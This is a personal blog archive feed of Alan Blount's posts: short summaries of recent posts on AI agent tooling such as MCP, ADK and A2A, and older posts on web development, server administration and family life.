Alan Blount | AI/ML Engineer at Google

5 Things Every AI Engineer Should Know About Agent Sandboxes

Tue, 01 Sep 2026 00:00:00 +0000

5 Things Every AI Engineer Should Know About Agent Sandboxes Originally shared by Google Cloud Tech on X - September 1, 2026 Google Cloud Tech highlighted five critical considerations for AI engineers working with agent sandbox environments. These insights are crucial for anyone building secure, reliable AI agent systems. Why This Matters Agent sandboxes are fundamental for: Security isolation - Containing potentially unsafe agent actions Resource management - Controlling computational resources Execution boundaries - Defining safe operational limits Testing environments - Providing controlled spaces for agent development As someone working on AI agent systems at Google, these sandbox principles directly impact how we design memory architectures and agent runtime environments.

Give Your Agents Tools That Scale Down to Zero or Up to Infinity

Wed, 26 Aug 2026 00:00:00 +0000

Give Your Agents Tools That Scale Down to Zero or Up to Infinity Originally shared by Google Cloud Tech on X - August 26, 2026. By @zeroasterisk and @Saboo_Shubham_. An agent is only as capable as its tools, and in production those tools run as Model Context Protocol (MCP) servers. Every other layer of your stack scales to zero when it goes idle — until last month, a single MCP session pinned every tool call to one container.

Agent Plugins Package Your Skills, Tools, and More

Thu, 06 Aug 2026 00:00:00 +0000

Agent Plugins Package Your Skills, Tools, and More Originally published on Google Developers Blog - August 6, 2026 Google has announced Agent Plugins 1.0.0, a new vendor-neutral directory specification backed by major tech companies including Google, Amazon, and Microsoft. This standard aims to package Agent Skills and MCP (Model Context Protocol) servers into portable, interoperable units. Key Highlights The specification standardizes the manifest (plugin.json) and utilizes a fixed directory layout, eliminating the need for developers to maintain separate wrappers or configurations to support different AI coding agents and IDEs.

Scaling AI Agent Infrastructure with the MCP Stateless Updates

Wed, 05 Aug 2026 00:00:00 +0000

Scaling AI Agent Infrastructure with the MCP Stateless Updates Originally published on Google Developers Blog - August 5, 2026, co-authored with Kurtis Van Gent. The 2026-07-28 Model Context Protocol (MCP) spec removes protocol-level sessions in favor of a stateless core. Every tool call is now self-describing, which unlocks seamless horizontal scaling and lets tool servers run on standard HTTP routing infrastructure — no more sticky sessions, no more Redis clusters just to remember which pod holds a session.

Why We Built ADK 2.0

Wed, 01 Jul 2026 00:00:00 +0000

Why We Built ADK 2.0 Originally published on Google Developers Blog - July 1, 2026, co-authored with Swapnil Agarwal and Frank Guan. Next-gen agent development is here. ADK 2.0 is a ground-up evolution of the Agent Development Kit, aimed at making it far easier to build reliable, production-grade multi-agent applications. Why This Matters Building agents at scale exposes gaps that don’t show up in prototypes: orchestration across many agents, human-in-the-loop checkpoints, dynamic routing, and resilience against failures.

Announcing ADK for Go 2.0

Tue, 30 Jun 2026 00:00:00 +0000

Announcing ADK for Go 2.0 Originally published on Google Developers Blog - June 30, 2026, by Toni Klopfenstein and Sampath Kumar Maddula. ADK for Go 2.0 introduces a brand-new graph-based workflow engine for composing complex, multi-agent Go applications, with idiomatic support for human-in-the-loop orchestration, dynamic routing, and built-in resilience — all on a unified runtime. Why This Matters Go’s strong concurrency model pairs well with graph-based agent orchestration, and this release makes it much more natural to build production multi-agent systems in Go rather than bolting agent logic onto ad hoc goroutine pipelines.

How A2A is Building a World of Collaborative Agents

Thu, 18 Jun 2026 00:00:00 +0000

How A2A is Building a World of Collaborative Agents Originally published on Google Developers Blog - June 18, 2026, co-authored with Frank Guan and Nick Losier. The Agent-to-Agent (A2A) protocol is shifting AI development away from isolated, single-purpose tools toward a collaborative ecosystem — enabling secure, autonomous handoffs between agents and scalable workflows like FoldRun. Why This Matters A2A is the connective tissue that lets agents built by different teams, on different stacks, actually work together safely.

A2UI + MCP Apps: Combining the Best of Declarative and Custom Agentic UIs

Wed, 17 Jun 2026 00:00:00 +0000

A2UI + MCP Apps: Combining the Best of Declarative and Custom Agentic UIs Originally published on Google Developers Blog - June 17, 2026, by the Google A2UI Team, Ido Salomon, and Liad Yosef. Three architectural patterns show how to combine A2UI’s declarative rendering with MCP Apps’ custom iframe environments, giving developers a way to build secure, performant, and brand-consistent agentic user experiences. Why This Matters Declarative UI and custom iframe-based UI solve different problems — this piece lays out when to reach for each, and how to combine them.

Announcing the Agentic Resource Discovery Specification

Wed, 17 Jun 2026 00:00:00 +0000

Announcing the Agentic Resource Discovery Specification Originally published on Google Developers Blog - June 17, 2026, by Junjie Bu and Srinivas Krishnan. Agentic Resource Discovery (ARD) is a new open specification for finding and verifying tools, skills, and agents across the web. The agent ecosystem works best when it’s decentralized — ARD gives agents a standard way to discover and trust resources without a single centralized registry. Why This Matters Resource discovery and auth tiers are foundational for any multi-agent ecosystem to scale safely.

A2UI v0.9: The New Standard for Portable, Framework-Agnostic Generative UI

Fri, 17 Apr 2026 00:00:00 +0000

A2UI v0.9: The New Standard for Portable, Framework-Agnostic Generative UI Originally published on Google Developers Blog - April 17, 2026, by the Google A2UI Team. A2UI v0.9 introduces a new Agent SDK, a shared web-core library, and cross-platform renderers, allowing AI agents to drive existing design systems on any device with low-latency streaming — all under a framework-agnostic standard for Generative UI. Why This Matters Generative UI needs to be portable across platforms without locking developers into one framework’s rendering model.

Building Agents with the ADK and the New Interactions API

Thu, 11 Dec 2025 00:00:00 +0000

Building Agents with the ADK and the New Interactions API Originally published on Google Developers Blog - December 11, 2025, co-authored with Mike Smith and Xiang (Sean) Zhou. The landscape of AI development is shifting from stateless request-response cycles to stateful, multi-turn agentic interactions. The new Interactions API lets you power ADK agents or connect A2A systems directly to the Gemini Deep Research Agent. Why This Matters Stateful, multi-turn interaction patterns are exactly where agent memory systems earn their keep — this API gives ADK and A2A a standard way to plug into long-running, stateful agent experiences.

Delight Users by Combining ADK Agents with Fancy Frontends Using AG-UI

Thu, 11 Dec 2025 00:00:00 +0000

Delight Users by Combining ADK Agents with Fancy Frontends Using AG-UI Originally published on Google Developers Blog - December 11, 2025. The ADK and AG-UI integration lets developers pair a powerful ADK-based agent backend with a flexible, interactive frontend — combining Google’s Agent Development Kit with the AG-UI protocol to build richer, more responsive AI applications. Why This Matters Backend agent logic and frontend UX are often built by separate teams with separate toolchains.

2017 09 06 How To Learn

Wed, 06 Sep 2017 00:00:00 +0000

+++ description = “How To Learn — Arthur Knowledge” title = “How to Learn — Meta” categories = [""] tags = [“learning”, “meta”, “engaged”, “Arthur”] +++ My buddy Arthur recently shared this with me, his synthesis of research he’s been doing on how to be a more effective learner. Stay engaged Choose to find the information useful Be invested in tackling difficult problems Try to anticipate what’s next Identify big idea Use them as anchor to connect details Periodically summarize what you’ve heard Keep conclusions tentative Evaluate evidence, don’t accept it at face value Ask followup questions Don’t get derailed Concentrate on the message, not the messenger Don’t get thrown off by emotionally charged language Don’t stop listening when you disagree Humanize the presenter, get to know them Adjust note taking to the presenter’s patterns Seriously - how great is that?

Playing with Elixir is just FUN

Mon, 10 Jul 2017 00:00:00 +0000

I’ve been using Elixir for a few weeks now, sometimes forcing it to play nice with Mongodb/Meteor , which it doesn’t really want to do. Sometimes with Posgres (which it loves). Sometimes just plain ole’ Elixir with no persistance.

It is realllllly fun!

Meteor and Elixir (part one) A Rocky Courtship

Fri, 23 Jun 2017 00:00:00 +0000

I have been watching Elixir for almost 2 years now, and debating if it’s mature enough for me to invest in.

Obviously Erlang is super-mature, and Elixir is quite stable, but it’s a question of “is the community mature enough yet?”

Since I’m now writing this, I believe it is “ready”, and I’m beginning a journey to build out some services in Elixir to stand up next to existing node services (meteorjs) and slow move funcitonality over to to Elixir.

Chapter One: Proof of Concept, Mongo is supposed to be Simple.

2017 06 14 Pdfjs Ui Simple Proof Of Concept

Wed, 14 Jun 2017 00:00:00 +0000

+++ draft = true author = "" categories = [] date = “2017-06-23T13:27:38-04:00” description = "" featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “2017 06 14 pdfjs ui simple proof of concept” +++

Meteor 1.5 ~ Bundle Optimization + Examples

Wed, 31 May 2017 00:00:00 +0000

I have been playing with Meteor 1.5 and it’s dynamic imports, which can be used to reduce the amount of javascript code sent to the browser.

This article is a deep dive into how to profile and optimize your client side code to make smarter use of the new dynamic imports…

Which will make meteor load faster for your users.

2017 05 29 Memorial Day Homework

Mon, 29 May 2017 00:00:00 +0000

+++ date = “2017-05-29T18:28:04-04:00” description = “project time, memorial day, and website hugoized” tags = [“homework”, “kids”,“code”] title = “2017 memorial day homework” +++ I have made the formal household declaration that all screen time will be matched, hour-for-hour with project time. Yesterday we cleaned the 1st floor, mopped and everything. Today we went grocery shopping, made lunch, and then started on homework time. To say that I am unpopular here, would be an understatement.

2017 01 01 Nerd Goals

Sun, 01 Jan 2017 00:00:00 +0000

+++ author = “alan” categories = [“nerd”, “elixir”, “machine learning”, “advocacy”] date = “2017-01-01T23:37:35-04:00” description = “My goals as a nerd, in 2017” featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “2017 nerd goals” +++ Personal Nerd Goals publish - rejuvinate a history of developer advocacy learn elixir - build a couple of projects from a couple of angles learn machine learning basics

Best part of CodepaLOUsa so far…

Tue, 28 Apr 2015 05:10:01 +0000

Best part of CodepaLOUsa so far… sitting next to Douglas Crockford at dinner tonight. Occasionally I’m the lucky one. (Hope I didn’t bore him too much) Anyway – having a fun time at CodepaLOUsa and hope all other attendees are too. http://codepalousa.com/schedule

Coreos & Docker, great presentation

Tue, 21 Oct 2014 18:43:00 +0000

Found this inspriing presentation from a Chicago Docker meetup: http://www.mediafly.com/news/karl-grzeszczak-september-docker-presentation from: Chicago Docker – September 2014 at Mediafly Thursday, Sep 25, 2014, 6:00 PM http://www.meetup.com/Docker-Chicago/events/204992852/ by: Karl Grzeszczak: on Twitter @karl_grz and his website http://karlgrz.com/. It linked to this amazingly well done animation on RAFT consensus and how it works: http://thesecretlivesofdata.com/raft/ Also linked a great blog post: http://lukebond.ghost.io/deploying-docker-containers-on-a-coreos-cluster-with-fleet/ And here are some of the “main” coreos repos: https://github.com/coreos/etcd After digging up a bit on the presenter, he also had this interested post:

Life Changlingly Good TED Radio Hour: “The Source of Creativity”

Tue, 14 Oct 2014 14:07:05 +0000

http://www.npr.org/programs/ted-radio-hour/351538855/the-source-of-creativity Basic summary: “everyone is and can be creative: you just have to be fearless about failing, and practice a bunch.” Led to this understanding by my art-teacher mother, since early childhood I’ve been saying something pretty similar. Creativity is wonderful, amazing, useful, freeing, and fun… but it’s not rare. Being creative is a skill, available to everyone. It doesn’t have to be “Art” (note the capital A) nor innovation. It doesn’t have to be shared.

Meteor 0.9.2-rc1 is fun to play with, Cordova support functional

Tue, 09 Sep 2014 21:41:00 +0000

Last night I started playing with `meteor –release 0.9.2-rc1` which you can read about and play with too; check it out here: https://meteor.hackpad.com/Getting-Started-With-Cordova-Z5n6zkVB1xq It’s wonderful! The local development and hot-code-push is a great improvement over any other solution I’ve been using. Builds were painless (mostly). Most of my stumbling points were due to 9x, not the new Cordova stuff. A few interesting details… Cordova gets built here: So far, nothing easy in regards to configuring Cordova, but I’d guess we can edit the config.

Meteor Core Cordova Support – Alpha Release is out

Mon, 25 Aug 2014 20:02:49 +0000

We’ve been watching this for a while, but now the first Alpha release is out for Meteor + Cordova built into the core. SWEET! Watch the DevShop Presentation on it here: https://www.youtube.com/watch?v=zzNoXbv1DX4&feature=youtu.be&t=24m And here are instructions to get it going and play with it: https://meteor.hackpad.com/Getting-Started-With-Cordova-Z5n6zkVB1xq Also, just an update, MeteorRider is still a strong and simple option for getting Meteor into Cordova (DOM hijacking), but I’m also checking out another great looking option is Cordova Loader (builds all Cordova assets into the public folder of Meteor).

Testing tools for Old OS & Browser Combos

Fri, 30 May 2014 18:09:40 +0000

Lots of us have to trace down odd bugs and test things on different browsers and OS combinations… Of course, the worst of which is “various versions of IE” on “various versions of Windows”. It seems crazy, but the same version of IE can behave differently on a different version of Windows. The two best solutions I’ve used are: http://www.modern.ie/en-us/virtualization-tools [free, vm locally] and http://www.browserstack.com/ [costs, web based] I just got assigned a crappy bug ticket on IE8 + WinXP and had to dust this off again… thought I’d send out a post, see if it helps others and triggers a discussion which might help me out too.

Great advice from Arunoda “Just Contribute!”

Thu, 24 Apr 2014 14:06:47 +0000

http://readme.lk/noticed-tech-crowd-interview-arunoda-susiripala/ This advice might be aimed at people who already consider themselves developers, but there’s a nugget in there that’s perfect for anyone who is interested in getting started… Pick some open-source project, probably a smaller one, that does something you’re interested in. Maybe it’s something you tried out and used. Maybe it’s something you tried out and it didn’t work out. Maybe it’s something you looked at and didn’t understand.

Meteor + PhoneGap/Cordova (Roundup – Fall 2013)

Fri, 23 Aug 2013 02:49:23 +0000

UPDATE: see meteor-core-cordova-support-alpha-release-is-out (2014-08-25) for new information About Meteor and PhoneGap / Cordova Meteor is a rapid server/client development framework, written in JS – makes very interactive apps easy to build. http://meteor.com PhoneGap / Cordova is a project to allow developers to use HTML, CSS, and JS to build mobile apps for all major devices. http://phonegap.com Basics of Integrating Meteor + PhoneGap / Cordova The basic idea here is to use PhoneGap / Cordova to create a mobile App on several different platforms at once and it gives device hardware access; then “load” your Meteor application, which handles all of the rest of whatever you want your app to do.

Looking for a new blog platform

Fri, 02 Aug 2013 02:50:23 +0000

I’m working too much to afford the time to build one right now, but I’m looking into a MeteorJS bloging system…. Anyone got a recommendation? @zeroasterisk

MOSSCON 2013 was lots of fun

Sun, 19 May 2013 10:53:59 +0000

I had a great time attending and presenting at moscon. http://mosscon.org/ May 18 – 19, 2013 | University of Louisville | Louisville, Kentucky I know it was a lot of work for the people who set it up, but you did a great job and I look forward to attending again in another year. (if I present again next time, my slides will be more readable, I promise…)

Windows + Linux guy, switching to OSX

Wed, 27 Jun 2012 15:41:48 +0000

I have recently switched to Mac full-time, coming from a Windows/Linux background. <ul> <li> Take Screenshots: Capture an image of what you see on your computer screen </li> <li> Record Screencasts: Record up to 5 minutes of onscreen video + audio </li> </ul> <div> <a href="http://www.techsmith.com/jing.html">http://www.techsmith.com/jing.html</a> /<br /> <a href="http://www.techsmith.com/jing-features.html">http://www.techsmith.com/jing-features.html</a> </div> <div> <img src="http://content.screencast.com/users/alanblount/folders/Jing/media/fc0ef87d-f0b2-4b6b-90db-603d581c837a/00000089.png" alt="Inline image 2" /></p> <p> <img src="http://content.screencast.com/users/alanblount/folders/Jing/media/e92b706f-dda9-405e-a2a3-ac346423ffe4/00000090.png" alt="Inline image 3" /></div> <div> <span style="font-size: x-large;">Alfred – free / can pay for extra features</span> </div> <ul> <li> Increase your productivity<br /> by launching apps with shortcuts </li> <li> Instant access to<br /> web searches, bookmarks<br /> & more </li> <li> Browse and play music from your<br /> iTunes library<br /> quickly </li> <li> Perform actions<br /> =96 copy, move & email files & folders </li> <li> Ward off RSI<br /> =96 skip using the mouse with easy shortcuts </li> </ul> <div> <a href="http://www.

Blount 2011 “Year in Review Letter”

Tue, 20 Dec 2011 17:20:16 +0000

Everyone seems to do a great job of sending out yearly letters around the holidays, so here’s our attempt. We collected some of our favorite photos from this year (mostly just the summer and fall) and made this video: http://animoto.com/play/PXP02w37vyZ60ddGU7vxxg Go ahead and watch it. Back already? It’s the end of December already and Poppy is almost 4 (01/24) and Oliver is almost 2 (02/02). Last year at this time, we went to Kansas City for Christmas with Alan’s family and after a long drive on Christmas eve, made it back to Louisville for Christmas with Anita’s.

Poppy is 1000 days old today

Wed, 20 Oct 2010 17:02:53 +0000

Poppy is 1000 days old today!

Adobe Connect Issue and Fix: Lingering FMSCore.exe processes

Fri, 23 Jul 2010 17:54:50 +0000

We’ve setup Connect to expire the FMSCore processes after 2 hours, but if someone is still connected to a recording, it will keep the old zombie FMSCore process until that person disconnects. It often happens that doesn’t work – and there’s seemingly no garbage collection in place to clean up old FMSCore. So we created a simple AutoIt script which can be compiled to an EXE which works, but it has some dependancies…

I’m just Git’ting it

Fri, 07 May 2010 22:13:20 +0000

Everyone and their mom have been using Git and GitHub for a while, but I’m just breaking down and using it… I have been slow to adopt because SVN worked for me fine (until I had to merge branches) and I don’t like to pay for storage space. But I continue to be impressed by it’s functionality and ease of use, so I’m going to move our work repositories over (needing a Large account probably) but I think it will be worth it.

Ollie and Anita are fine, but stuck in the hospital still

Tue, 13 Apr 2010 13:50:23 +0000

Oliver has been feeling a bit sick for a couple of days, and it was acute yesterday early afternoon – he was doing the “I’m in pain” cry for a half an hour straight and was inconsolable. Very unusual for him. So we made an appointment to see the Pediatrician and by the time we got in there (~3 hours later) he seemed pretty normal, though really tired still because he is sick and doing all the extra crying, but sleeping and eating ok again.

CakePHP beforeSave() gotcha: need to set $this->__exists to true if setting a primary key

Fri, 19 Feb 2010 02:59:45 +0000

I added an update to CakePHP Book: beforeSave() Also, if you add a primary key which would turn an “insert” into an “update” within beforeSave() you’ll need to set $this->__exists = true;… the call to $this->exists(); happens in model.php before the callback to beforeSave(). if (!isset($this->data[$this->name]['id']) && isset($this->data[$this->name]['unique_field'])) { $found = $this->find("first",array( "recursive" => -1, "fields" => array("id"), "conditions" => array("unique_field" => $this->data[$this->name]['unique_field']))); if (!empty($found) && isset($found[$this->name]['id'])) { $this->id = $this->data[$this->name]['id'] = $found[$this->name]['id']; <strong>$this->__exists = true;</strong> } } return parent::beforeSave(); }

Google Profiles now with content

Mon, 15 Feb 2010 18:31:09 +0000

Alan’s Google Profile, now updated with Buzz activity, searchable, and pulling content from various feeds, including flickr, facebook, twitter, etc… If you don’t see this as “competition” for Facebook (et. al.) then you’re not seeing the same thing I am. I personally love it, esp. the publicly searchable aspects and the integration into the gmail interface but I might stop using it if other people don’t or if it can’t work two-way with facebook….

Oliver is born, go and tell it on the mountain

Thu, 04 Feb 2010 05:58:10 +0000

Most of you have heard from the grapevine or facebook (this generation’s grapevine) that our son, Oliver Jackson Blount, was born on 2010-02-02 @ 14:35 EST. He was 9 pounds 15 ounces and 23 inches (they measured twice to be sure). We had a home birth with 2 midwives and an apprentice, a doula, Anita’s mom (former NICU nurse) and sister Virginia (new nurse) in attendance… of yeah, and me. The decision to have a home birth was one we took very seriously and subsequently are very happy with; it being unusual is often the topic of conversation… but I can summarize with the following: We had a normal and healthy fetus inside a normal and healthy mom, everything looking like it would progress as “low risk” we choose to stay at home with the support of professionals vs.

Google Apps removes support for IE6

Mon, 01 Feb 2010 23:24:10 +0000

http://googleenterprise.blogspot.com/2010/01/modern-browsers-for-modern-applications.html Many other companies have already stopped supporting older browsers like Internet Explorer 6.0 as well as browsers that are not supported by their own manufacturers. We’re also going to begin phasing out our support, starting with Google Docs and Google Sites. As a result you may find that from March 1 key functionality within these products — as well as new Docs and Sites features — won’t work properly in older browsers.

MySQL Master/Slave Replication Monitoring PHP Script

Wed, 13 Jan 2010 18:47:25 +0000

I’m a bit proud of myself on this one… I setup a simple, but clean and configurable, MySQL Master/Slave Replication Monitoring PHP Script: http://code.google.com/p/php-mysql-master-slave-replication-monitor/ (docs) It’s Open Source and free, I welcome comments, suggestions, and questions. I think this will be quite useful for anyone who is setting up a pair of MySQL servers as master/slave and want to be sure their replication works as it should.

fanout, a super useful linux script if you manage multiple, similar servers

Thu, 24 Dec 2009 04:54:29 +0000

I love this fanout script for running the same command on multiple servers, just in case you’re interested: http://www.stearns.org/fanout/fanout [root@199564-6 scripts]# fanout "$SERVERS" "cp /root/.ssh/authorized_keys /home/user/.ssh/"<br /> Starting root@db1<br /> Starting root@db2<br /> Starting root@nas<br /> Starting root@www1<br /> Starting root@www2<br /> Starting root@www3<br /> Fanout executing "cp /root/.ssh/authorized_keys /home/user/.ssh/"<br /> Start time Wed Dec 23 23:45:35 EST 2009 , End time Wed Dec 23 23:45:47 EST 2009<br /> ==== As root on db1 ====

DarkAuth for the win!

Wed, 02 Dec 2009 16:37:33 +0000

I’ve been working with CakePHP for a few years now and am very happy with it. I’ve been working with the 1.2 version for a few months (since it went stable) and playing with the Auth and ACL core components. I’ve decided that ACL is too complicated for most setups, and Auth is fine, but not perfect. So after some research, I switched to the DarkAuth component, which was much better suited to my needs.

A CakePHP gotcha for migrating from 1.1 to 1.2+ on Model->create()

Mon, 30 Nov 2009 16:15:28 +0000

I reported this as a ticket, but as it turns out, it’s a design choice.. but it’s enough of a gotcha that I thought I should report it. What happened The $this->ModelName->create() set the defaults for the next save, which is what I would expect. But on my database there’s a default value set for the ‘created’ field (the standard for datetime columns in PHPmyAdmin) as well as the ‘modified’ and ‘updated’ fields.

Autosearch Craigslist with Google Alerts

Mon, 23 Nov 2009 22:05:12 +0000

Sometimes, I want something only if it’s on the cheap, second hand, and easy… that’s usually Craigslist. Often what I want isn’t available when I think of it… but it might show up sometime… I don’t want to have to look at craigslist every day (because I wont). Google Alerts to the rescue. If I’m in Louisville KY and I’m looking for an iPod (for example) I just setup an alert for: “site:louisville.

A Month of Site-Downtime

Mon, 23 Nov 2009 14:17:58 +0000

So the website has been down from Oct 21st to Nov 23rd. The old server got hacked (or really, a sister-server) and due to security concerns, we didn’t know what got owned and what was safe. We already had a different server hardware to put in place, just had to set it up. So we got that installed and up and running, but it took me a few more days to get around to implementing something on my site.

Our Trip to California

Wed, 09 Sep 2009 15:22:44 +0000

We are home again, from a trip to San Francisco and Sonoma, California. (map) The trip was for April’s wedding (Anita’s sister) to Billie one of our best friends from our three years in Columbus, OH. We started out by going to Salt Point State Park and camping. We were able to hike to the beautiful (but cold) cliff-lined-coast and watch seals and waves alike. On our way back from camping we visited Fort Ross, the oldest establishment on the west coast, and old Russian trading post.

poppy’s first day of school

Wed, 19 Aug 2009 16:02:58 +0000

Poppy’s really thinned out and sped up. At 18 months, she’s about the same height as she was at 14 months, but seems much more thin. Must be all the running, jumping, and climbing she does. She can happily run in a circle for 15 minutes, or bounce on a bed for 30. She’s started school at “The Friend’s School” this week, in the 1 year old class three days a week for three hours each day.

pick-your-own-fruit-photos

Wed, 15 Jul 2009 16:22:30 +0000

I finally uploaded some of the photos we’ve recently taken… Here are our two trips to various “pick your own” farms, for strawberries and blueberries. 2009.06.05 – Strawberry Picking at Huber’s Farm 2009.06.20 – Blueberry Picking

WolframAlpha & Google Chrome OS

Wed, 08 Jul 2009 16:58:09 +0000

I recently came across wolframalpha which is really fantastic. It provides a much of data for a very wide variety of searches… basically the neat part is it’s conversion of English statements into data-based queries and graphs… It works across tons and tons of datatypes, including one of the most useful weather reports I’ve seen… simple and obvious and useful data across the board. (perhaps I just like graphs too much) It also has good financial data, though I still prefer google finance.

Potty Time

Mon, 06 Jul 2009 03:09:23 +0000

Poppy is now using her potty. She’s been sitting on it for a while, but this weekend was the first time she actually used it successfully (twice so far). We, of course, cheered and encouraged her… But I think it just clicked in her brain that was what she was supposed to do. I don’t expect that we’re going to have a terribly high success rate right away, but it’s great to be on that path.

Running and Talking and Loud

Sun, 21 Jun 2009 03:15:20 +0000

Poppy has stopped walking and is pretty much either running to places, or stumble-running. I’m sure that’s an exaggeration, but it is certainly what it seems like. Likewise, she’s still babbling incoherently – but she’s doing so loudly. Also – her speech patterns are much closer to English. We don’t know what she’s saying, but she sure does and, by god, she means it. Her actual vocabulary has increased to maybe a dozen words and phrases:

Poppy Update, 15.5 months

Sun, 10 May 2009 16:58:47 +0000

Poppy is starting to really put things together. She’s long been understanding much more than we would have expected, occasionally doing things we ask her to do which we would never anticipate her doing (like asking her to throw something away in another room, and her doing so). Now she’s starting to say a few more words, do a few more signs, and saying/signing more clearly. She’s had a bit of a rough month, all four of her I-Teeth are coming in.

Poppy at 15 months

Mon, 04 May 2009 14:33:39 +0000

<div class="goog-inline-block goog-icon-list-icon"> <div class="goog-icon-list-icon-img-div"> <div class="goog-icon-list-icon-meta"> <a href="http://picasaweb.google.com/cathypennington/409PoppyVisitZooHotAirBalloonsFriendsFamilyGamesTheMarathon">more photos</a> (from mom, I have yet to process this month’s photos from my camera) </div> </div> </div> <div class="goog-inline-block goog-icon-list-icon"> </div>

Poppy Update – Fast and Furious

Thu, 02 Apr 2009 17:28:11 +0000

Poppy spinning

Mon, 16 Mar 2009 19:38:45 +0000

Poppy has long been termed as a “rough neck” and she certainly earns that title, loving to be thrown around and tickled and rough housing with her peers or adults alike. She has just started spinning around in circles to get herself dizzy. It’s one of the cutest things I’ve ever witnessed. The downside is that she already staggers like a drunk anytime she’s tired and sometimes when she’s not… so this just adds to the appearance that she is seconds away from being face-down on the ground.

SVN Merge, making sure a branch is updated from trunk, then merging back to trunk

Thu, 05 Mar 2009 17:49:34 +0000

So I’ve just fought a battle w/ SVN merge and thought I’d post the solution in case others might find it… Scenario Our stable code is in trunk svn://svn.domain.tld/repository/trunk I’ve got a branch of trunk svn://svn.domain.tld/repository/branches/dev Changes have been made to my branch and changes have been made to trunk, since I branched. I’m ready to merge my branch back into trunk. Approach / Overview Basically, to be safe, I need to first update my branch with the changes from trunk and resolve any conflicts.

Mom and Sam’s Visit to Lousiville

Thu, 05 Mar 2009 16:02:31 +0000

Mom and Sam drove to Louisville for a few days this past weekend+ (Friday – Tuesday). We all had a wonderful visit and they played with poppy almost nonstop… as expected. We took full advantage of the free babysitting and went out a few nights and on the whole, were less than adequate hosts, but they didn’t seem to mind. Mom’s posted her photos here, and below is a slideshow

Poppy Update – 13 months

Sun, 01 Mar 2009 16:35:51 +0000

Poppy is: walking well, though she still staggers like she’s drunk when she’s tired. sometimes eating vegetables, often not – but always eating fruit and crackers are much better starting to learn a few signs… she’s known “more” for a while now, but now she can do eat and drink and occasionally a few others. certainly understands many words and phrases and tones of voice, and is starting to mimic more often… sometimes putting a word in context a bit… though it’s a stretch and only her family would recognize these accomplishments.

Winter Weather hits Louisville

Tue, 03 Feb 2009 05:36:05 +0000

It’s been a crazy winter, the last week. The ice storm which took out most of KY’s power only kept us out for a couple of days, but still has some friends down. It was crazy to see all of the trees weighed down and drooping, beautiful and terrible. The ice coated everything, and when the wind blew all of the ice-coated limbs and branched clinked with each other. Here’s a great photo from a friend of mine, mitch:

Op-Ed Wall Street’s Jet Setters

Fri, 30 Jan 2009 19:23:10 +0000

Wall Street’s Socialist Jet-Setters By MAUREEN DOWD – Published: January 27, 2009 How are these ruthless, careless ghouls who murdered the economy still walking around (not to mention that sociopathic sadist Bernie Madoff?) — and not as perps? Bring on the shackles. Let the show trials begin. Very frustrating indeed, but I don’t know of any means of invoking a change. We can complain on the net and raise virtual pitchforks in anger… but there’s nothing which will come of it.

Poppy’s First Birthday

Sun, 25 Jan 2009 03:46:00 +0000

We had a house full for Poppy’s first birthday. Friends came in from Columbus and Lexington, but otherwise we tried to keep it family only… even so we had almost 30 people over and had a wonderful time (at least those who were able to find seats). She had her cake and ate it too. Anita expected that she might not take to the cake straight away, but she certainly dug in, as soon as she realized that it was food and she was allowed to eat it.

Re: Memo to All My Valued Employees

Wed, 14 Jan 2009 19:54:00 +0000

Here’s my response to the following “letter” which I received as a forward today: Letter subject: “Memo to All My Valued Employees” Basic gist of the letter: Most of my time is now occupied with government mandates and regulations and all the accounting that goes with them. On October 15th, I wrote a check to the US Treasury for $288,000 for quarterly taxes. You know what my “stimulus” check was? Zero.

Poppy is babbling on all syllables

Wed, 14 Jan 2009 07:30:09 +0000

Penelope is really talking these days. There are still no really discernable words, and for the most part, no reliable mimicking. We can not prompt her and expect a desired response. But she is certainly mimicking speech patterns on her own including intonation and cadence. She’ll do so while toddling around the house carrying a toy or article of clothing or piece of trash. She will also babble back to you, when you’re talking to her.

Photobooth photos from Scott and Tami’s wedding

Mon, 12 Jan 2009 16:34:34 +0000

Scott and Tami had a wonderful wedding in Columbus in late fall 2008. We went with Poppy and my mom Cathy. At the wedding they had a photobooth set up and some of the photos went into a scrapbook and some we took home… here are the took home ones.

Poppy’s Room, now with mural

Mon, 05 Jan 2009 21:39:53 +0000

My mom and her friend Joanne painted a wonderful mural on Poppy’s room. I decided to play with a very fun tool called photosynth to stitch together several photos into one unified picture or the room in 3-D (sort of). It will not work except on IE and FF and you may need to install a viewer (it’s safe, but an annoyance). Regardless, this is my first photosynth and I may make more… not sure at the moment.

Crazy Base Jumping Video with Wing Suits

Mon, 29 Dec 2008 14:55:50 +0000

This is an absolutely crazy base-jumping video, with wing suits. If I didn’t have the life and family I have now, I could see myself wanting to do this, but there’s too much risk involved for me and I’ve got too much to loose. Still – it’s awesome to see. wingsuit base jumping from Ali on Vimeo.

Home from Houston after the Holidays

Mon, 29 Dec 2008 14:53:28 +0000

We went to Houston this year, for Poppy’s first Christmas and spent almost a week with my family. Everyone loved and was amazed by Poppy, of course and she did splendidly. She traveled quite well, sleeping for the first part of both flights and playing quietly for the second. She also did a remarkably good job dealing with all the people she didn’t really know and the back and forth craziness of going from house to house to house.

Obama’s 27 year old speech writter…

Sun, 21 Dec 2008 14:16:46 +0000

Helping to Write History By Eli Saslow Washington Post Staff Writer Thursday, December 18, 2008; Page A01 During the campaign, the buzz-cut 27-year-old at the corner table helped write and edit some of the most memorable speeches of any recent presidential candidate. When Obama moves to the White House next month, Favreau will join his staff as the youngest person ever to be selected as chief speechwriter. He helps shape almost every word Obama says, yet the two men have formed a concert so harmonized that Favreau’s own voice disappears.

Wonderful Subversive Advertising

Fri, 19 Dec 2008 18:01:18 +0000

15 Ingenious Humanitarian Subvertisements: Creative Advertisements that Advocate Global Causes more: http://weburbanist.com/2008/02/05/15-ingenious-humanitarian-subvertisements-creative-advertisements-that-advocate-global-causes/

we refinanced our mortgage today

Wed, 17 Dec 2008 23:04:23 +0000

We have refinanced (or at least started the process) and locked in at 4.96 after paying a point (it was 5.6 without the point, lenders wanting up-front money and assurance in today’s market). We are rolling in the point and closing costs into the new loan and we’ll still be saving $140/month over our current loan (and if we hadn’t rolled in the costs, it would only have saved us $21/month more).

repost: If programming languages were religions

Wed, 17 Dec 2008 18:00:20 +0000

A very funny post for the programming nerds out there: If programming languages were religions… By amz – Monday, December 15, 2008 at 14:52 PHP would be Cafeteria Christianity – Fights with Java for the web market. It draws a few concepts from C and Java, but only those that it really likes. Maybe it’s not as coherent as other languages, but at least it leaves you with much more freedom and ostensibly keeps the core idea of the whole thing.

It’s been a busy couple of years…

